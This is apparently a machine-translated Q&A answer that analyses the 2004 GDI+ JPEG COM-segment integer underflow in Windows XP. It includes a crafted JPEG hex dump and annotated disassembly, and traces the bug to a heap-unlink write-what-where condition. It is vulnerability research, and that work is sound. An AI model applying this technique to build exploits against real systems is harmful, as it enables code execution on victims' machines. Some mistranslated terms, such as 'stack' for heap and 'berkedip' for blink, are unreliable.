Kerentanan ini jelas merupakan luapan tumpukan .
Bagaimana menulis 0XFFFFFFFE byte (4 GB !!!!) mungkin tidak merusak program?
Mungkin bisa, tetapi pada beberapa kesempatan Anda punya waktu untuk mengeksploitasi sebelum crash terjadi (terkadang, Anda bisa mengembalikan program ke eksekusi normalnya dan menghindari crash).
Saat memcpy () dimulai, salinan akan menimpa beberapa blok heap lain atau beberapa bagian dari struktur manajemen heap (mis. Daftar bebas, daftar sibuk, dll.).
Pada titik tertentu salinan akan menemukan halaman yang tidak dialokasikan dan memicu AV (Access Violation) saat menulis. GDI + kemudian akan mencoba mengalokasikan blok baru di heap (lihat ntdll! RtlAllocateHeap ) ... tetapi struktur heap sekarang semuanya kacau.
Pada titik itu, dengan menyusun gambar JPEG Anda secara hati-hati, Anda dapat menimpa struktur manajemen heap dengan data yang terkontrol. Ketika sistem mencoba mengalokasikan blok baru, sistem mungkin akan memutuskan tautan blok (gratis) dari daftar gratis.
Blok dikelola dengan (terutama) flink (Tautan maju; blok berikutnya dalam daftar) dan berkedip (Tautan mundur; blok sebelumnya dalam daftar) penunjuk. Jika Anda mengontrol kedipan dan kedip, Anda mungkin memiliki kemungkinan WRITE4 (tulis kondisi Apa / Di mana) di mana Anda mengontrol apa yang dapat Anda tulis dan di mana Anda dapat menulis.
Pada titik itu Anda dapat menimpa pointer fungsi (pointer SEH [Structured Exception Handlers] adalah target pilihan pada waktu itu di tahun 2004) dan mendapatkan eksekusi kode.
Lihat entri blog Korupsi Tumpukan: Studi Kasus .
Catatan: meskipun saya menulis tentang eksploitasi menggunakan freelist, penyerang mungkin memilih jalur lain menggunakan metadata heap lain ("metadata heap" adalah struktur yang digunakan oleh sistem untuk mengelola heap; flink dan blink adalah bagian dari metadata heap), tetapi eksploitasi unlink mungkin adalah yang "termudah". Pencarian google untuk "eksploitasi heap" akan menghasilkan banyak penelitian tentang ini.
Apakah ini menulis di luar area heap dan ke dalam ruang program dan OS lain?
Tidak pernah. OS modern didasarkan pada konsep ruang alamat virtual sehingga setiap proses memiliki ruang alamat virtualnya sendiri yang memungkinkan pengalamatan hingga 4 gigabyte memori pada sistem 32-bit (dalam praktiknya Anda hanya mendapatkan setengahnya di lahan pengguna, sisanya untuk kernel).
Singkatnya, sebuah proses tidak dapat mengakses memori dari proses lain (kecuali jika ia meminta kernel untuk itu melalui beberapa layanan / API, tetapi kernel akan memeriksa apakah pemanggil berhak melakukannya).
Saya memutuskan untuk menguji kerentanan ini akhir minggu ini, jadi kami bisa mendapatkan ide bagus tentang apa yang sedang terjadi daripada spekulasi murni. Kerentanannya sekarang sudah 10 tahun, jadi saya pikir tidak masalah untuk menulis tentang itu, meskipun saya belum menjelaskan bagian eksploitasi dalam jawaban ini.
Perencanaan
Tugas tersulit adalah menemukan Windows XP dengan hanya SP1, seperti pada tahun 2004 :)
Kemudian, saya mengunduh gambar JPEG yang hanya terdiri dari satu piksel, seperti yang ditunjukkan di bawah ini (dipotong agar singkat):
File 1x1_pixel.JPG
Address Hex dump ASCII
00000000 FF D8 FF E0|00 10 4A 46|49 46 00 01|01 01 00 60| ÿØÿà JFIF `
00000010 00 60 00 00|FF E1 00 16|45 78 69 66|00 00 49 49| ` ÿá Exif II
00000020 2A 00 08 00|00 00 00 00|00 00 00 00|FF DB 00 43| * ÿÛ C
[...]
Gambar JPEG terdiri dari penanda biner (yang menghasilkan segmen). Pada gambar di atas, FF D8
adalah marker SOI (Start Of Image), sedangkan FF E0
, misalnya, adalah marker aplikasi.
Parameter pertama dalam segmen penanda (kecuali beberapa penanda seperti SOI) adalah parameter panjang dua byte yang mengkodekan jumlah byte dalam segmen penanda, termasuk parameter panjang dan tidak termasuk penanda dua byte.
Saya hanya menambahkan penanda COM (0x FFFE
) tepat setelah SOI, karena penanda tidak memiliki urutan yang ketat.
File 1x1_pixel_comment_mod1.JPG
Address Hex dump ASCII
00000000 FF D8 FF FE|00 00 30 30|30 30 30 30|30 31 30 30| ÿØÿþ 0000000100
00000010 30 32 30 30|30 33 30 30|30 34 30 30|30 35 30 30| 0200030004000500
00000020 30 36 30 30|30 37 30 30|30 38 30 30|30 39 30 30| 0600070008000900
00000030 30 61 30 30|30 62 30 30|30 63 30 30|30 64 30 30| 0a000b000c000d00
[...]
Panjang segmen COM diatur 00 00
untuk memicu kerentanan. Saya juga menyuntikkan byte 0xFFFC tepat setelah penanda COM dengan pola berulang, angka 4 byte dalam hex, yang akan berguna saat "mengeksploitasi" kerentanan.
Debugging
Mengklik ganda gambar tersebut akan segera memicu bug di shell Windows (alias "explorer.exe"), di suatu tempat di gdiplus.dll
, dalam fungsi bernama GpJpegDecoder::read_jpeg_marker()
.
Fungsi ini dipanggil untuk setiap penanda dalam gambar, cukup: membaca ukuran segmen penanda, mengalokasikan buffer yang panjangnya adalah ukuran segmen dan menyalin konten segmen ke buffer yang baru dialokasikan ini.
Di sini awal fungsinya:
.text:70E199D5 mov ebx, [ebp+arg_0] ; ebx = *this (GpJpegDecoder instance)
.text:70E199D8 push esi
.text:70E199D9 mov esi, [ebx+18h]
.text:70E199DC mov eax, [esi] ; eax = pointer to segment size
.text:70E199DE push edi
.text:70E199DF mov edi, [esi+4] ; edi = bytes left to process in the image
eax
register menunjuk ke ukuran segmen dan edi
merupakan jumlah byte yang tersisa pada gambar.
Kode kemudian melanjutkan untuk membaca ukuran segmen, dimulai dengan byte paling signifikan (panjangnya adalah nilai 16-bit):
.text:70E199F7 xor ecx, ecx ; segment_size = 0
.text:70E199F9 mov ch, [eax] ; get most significant byte from size --> CH == 00
.text:70E199FB dec edi ; bytes_to_process --
.text:70E199FC inc eax ; pointer++
.text:70E199FD test edi, edi
.text:70E199FF mov [ebp+arg_0], ecx ; save segment_size
Dan byte paling signifikan:
.text:70E19A15 movzx cx, byte ptr [eax] ; get least significant byte from size --> CX == 0
.text:70E19A19 add [ebp+arg_0], ecx ; save segment_size
.text:70E19A1C mov ecx, [ebp+lpMem]
.text:70E19A1F inc eax ; pointer ++
.text:70E19A20 mov [esi], eax
.text:70E19A22 mov eax, [ebp+arg_0] ; eax = segment_size
Setelah ini selesai, ukuran segmen digunakan untuk mengalokasikan buffer, mengikuti perhitungan ini:
alokasi_ukuran = ukuran_segmentasi + 2
Ini dilakukan dengan kode di bawah ini:
.text:70E19A29 movzx esi, word ptr [ebp+arg_0] ; esi = segment size (cast from 16-bit to 32-bit)
.text:70E19A2D add eax, 2
.text:70E19A30 mov [ecx], ax
.text:70E19A33 lea eax, [esi+2] ; alloc_size = segment_size + 2
.text:70E19A36 push eax ; dwBytes
.text:70E19A37 call _GpMalloc@4 ; GpMalloc(x)
Dalam kasus kami, karena ukuran segmen adalah 0, ukuran yang dialokasikan untuk buffer adalah 2 byte .
Kerentanan tepat setelah alokasi:
.text:70E19A37 call _GpMalloc@4 ; GpMalloc(x)
.text:70E19A3C test eax, eax
.text:70E19A3E mov [ebp+lpMem], eax ; save pointer to allocation
.text:70E19A41 jz loc_70E19AF1
.text:70E19A47 mov cx, [ebp+arg_4] ; low marker byte (0xFE)
.text:70E19A4B mov [eax], cx ; save in alloc (offset 0)
;[...]
.text:70E19A52 lea edx, [esi-2] ; edx = segment_size - 2 = 0 - 2 = 0xFFFFFFFE!!!
;[...]
.text:70E19A61 mov [ebp+arg_0], edx
Kode tersebut hanya mengurangi ukuran_segmen (panjang segmen adalah nilai 2 byte) dari seluruh ukuran segmen (0 dalam kasus kami) dan berakhir dengan kekurangan bilangan bulat: 0-2 = 0xFFFFFFFE
Kode kemudian memeriksa apakah ada byte yang tersisa untuk diurai dalam gambar (yang benar), dan kemudian melompat ke salinan:
.text:70E19A69 mov ecx, [eax+4] ; ecx = bytes left to parse (0x133)
.text:70E19A6C cmp ecx, edx ; edx = 0xFFFFFFFE
.text:70E19A6E jg short loc_70E19AB4 ; take jump to copy
;[...]
.text:70E19AB4 mov eax, [ebx+18h]
.text:70E19AB7 mov esi, [eax] ; esi = source = points to segment content ("0000000100020003...")
.text:70E19AB9 mov edi, dword ptr [ebp+arg_4] ; edi = destination buffer
.text:70E19ABC mov ecx, edx ; ecx = copy size = segment content size = 0xFFFFFFFE
.text:70E19ABE mov eax, ecx
.text:70E19AC0 shr ecx, 2 ; size / 4
.text:70E19AC3 rep movsd ; copy segment content by 32-bit chunks
Potongan di atas menunjukkan bahwa ukuran salinan adalah potongan 0xFFFFFFFE 32-bit. Buffer sumber dikontrol (konten gambar) dan tujuannya adalah buffer di heap.
Tulis kondisi
Salinan akan memicu pengecualian pelanggaran akses (AV) ketika mencapai akhir halaman memori (ini bisa dari penunjuk sumber atau penunjuk tujuan). Saat AV dipicu, heap sudah berada dalam status rentan karena salinan telah menimpa semua blok heap berikut hingga halaman yang tidak dipetakan ditemukan.
Apa yang membuat bug ini dapat dieksploitasi adalah bahwa 3 SEH (Structured Exception Handler; ini adalah percobaan / kecuali pada level rendah) menangkap pengecualian pada bagian kode ini. Lebih tepatnya, SEH pertama akan melepas tumpukan sehingga kembali mengurai marker JPEG lain, sehingga sepenuhnya melewatkan marker yang memicu pengecualian.
Tanpa SEH kode hanya akan membuat crash seluruh program. Jadi kode melewatkan segmen COM dan mem-parsing segmen lain. Jadi kita kembali ke GpJpegDecoder::read_jpeg_marker()
segmen baru dan ketika kode mengalokasikan buffer baru:
.text:70E19A33 lea eax, [esi+2] ; alloc_size = semgent_size + 2
.text:70E19A36 push eax ; dwBytes
.text:70E19A37 call _GpMalloc@4 ; GpMalloc(x)
Sistem akan memutuskan tautan blok dari daftar gratis. Kebetulan struktur metadata ditimpa oleh konten gambar; jadi kami mengontrol pemutusan tautan dengan metadata terkontrol. Kode di bawah ini di suatu tempat di sistem (ntdll) di manajer heap:
CPU Disasm
Address Command Comments
77F52CBF MOV ECX,DWORD PTR DS:[EAX] ; eax points to '0003' ; ecx = 0x33303030
77F52CC1 MOV DWORD PTR SS:[EBP-0B0],ECX ; save ecx
77F52CC7 MOV EAX,DWORD PTR DS:[EAX+4] ; [eax+4] points to '0004' ; eax = 0x34303030
77F52CCA MOV DWORD PTR SS:[EBP-0B4],EAX
77F52CD0 MOV DWORD PTR DS:[EAX],ECX ; write 0x33303030 to 0x34303030!!!
Sekarang kita bisa menulis apa yang kita mau, dimana kita mau ...